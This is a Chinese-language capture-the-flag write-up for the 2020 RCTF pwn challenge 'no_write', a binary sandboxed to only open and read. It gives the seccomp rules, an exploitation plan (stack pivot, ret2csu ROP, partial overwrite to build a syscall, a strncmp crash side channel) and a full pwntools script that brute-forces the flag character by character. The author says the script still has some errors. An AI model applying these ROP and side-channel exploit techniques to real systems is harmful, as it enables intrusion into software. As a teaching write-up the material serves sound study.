2020RCTF-PWN-NO_write
July 3, 2020 CTF-Writeup 访问: 92 次
当时没做出来,觉得这个利用手法比较新颖,复现了一波。
这个程序开启了沙箱保护,只能够调用open和read
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009
0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
利用思路:
1、栈迁移到bss段上
2、利用__libc_start_main_ptr
来再次启动任意地址,并使bss段上(当前的栈上)留下libc地址
3、通过ret2cus来进行ROP
4、部分覆盖地址构造syscall
5、利用特殊指令(0x4005e8)来修改栈上的libc地址为strncmp
6、利用ret2cus来执行strncmp(&flag,&fake,2)
fake的地址构造成0x601fff
,当第一个字符和flag一样的时候,就会访问0x602000
,就会造成无效地址访问,从而程序崩溃,当对比一样的时候,就会进行ROP,再次执行一个read操作,从而程序不会退出,进入等待用户输入
#coding:utf-8
from pwn import *
import string
# from LibcSearcher import *
context.log_level='debug'
debug = 1
file_name = './no_write'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
# if debug:
# r = process(file_name)
# libc = ELF(libc_name)
# else:
# r = remote(ip,int(prot))
# libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009
0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
'''
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
charset = '}{_'+string.digits+string.letters
p_rdi=0x0000000000400773 #: pop rdi ; ret
p_rsi = 0x0000000000400771 #: pop rsi ; pop r15 ; ret
p_rbp = 0x0000000000400588
level_ret = 0x40070B
fake_rbp = 0x601400
flag_name = 0x601700
flag_str = 0x601800
syscall = 0x601340
flag = ""
i=0
while True:
for x in charset:
try:
r = process(file_name)
libc = ELF(libc_name)
payload = "a"*0x10+p64(fake_rbp)
payload +=p64(0x40076A)+p64(0)+p64(1)+p64(file.got['read'])+p64(0)+p64(fake_rbp)+p64(0x601350)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4+p64(level_ret)
sl(payload)
payload_2 = p64(fake_rbp)+p64(p_rdi)+p64(0x4006db)+p64(0x400544)
# raw_input()
# debug()
strncmp = 0x601320
sl(payload_2)
# raw_input()
payload_3 = p64(p_rdi)+p64(0)+p64(p_rsi)+p64(0x601340)+p64(0)+p64(file.plt['read'])
payload_3 += p64(p_rdi)+p64(0)+p64(p_rsi)+p64(flag_name)+p64(0)+p64(file.plt['read'])
payload_3 += p64(p_rdi)+p64(0)+p64(p_rsi)+p64(flag_name+0x10)+p64(0)+p64(file.plt['read'])
payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(syscall)+p64(flag_name)+p64(0)+p64(0)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(file.got['read'])+p64(3)+p64(flag_str)+p64(0x100)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
offset_1 = 0xffd98790
payload_3 += p64(0x00000000040076A)+p64(offset_1)+p64(0x60135d)+p64(0)*0x4+p64(0x4005e8)
payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(file.got['read'])+p64(0)+p64(0x601ff0)+p64(0x10)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(strncmp)+p64(flag_str+i)+p64(0x601fff)+p64(2)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(file.got['read'])+p64(0)+p64(0x601ff0)+p64(0x10)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
'''
.text:000000000040076A pop rbx
.text:000000000040076B pop rbp
.text:000000000040076C pop r12
.text:000000000040076E pop r13
.text:0000000000400770 pop r14
.text:0000000000400772 pop r15
.text:0000000000400774 retn
0x601320 —▸ 0x7f3d0d75dd80 (initial) ◂— 0x0
0x4005e8 <__do_global_dtors_aux+24>: add DWORD PTR [rbp-0x3d],ebx
0x4005eb <__do_global_dtors_aux+27>: nop DWORD PTR [rax+rax*1+0x0]
0x4005f0 <__do_global_dtors_aux+32>: repz ret
'''
# payload_3 += p64(p_rbp)+p64()
sl(payload_3)
# raw_input()
sd("\x7f")
# raw_input()
sl("flag\x00\x00")
# print "set eax"
# raw_input()
sd("aa")
# raw_input()
sd(x*0x10)
r.recv(timeout=2)
# sd('test')
# ri()
r.close()
except EOFError:
flag+=x
print flag,i
i=i+1
# exit()
if(x == '}'):
exit()
r.close()
break
#Rlag_is_test
脚本多多少少还是有些误差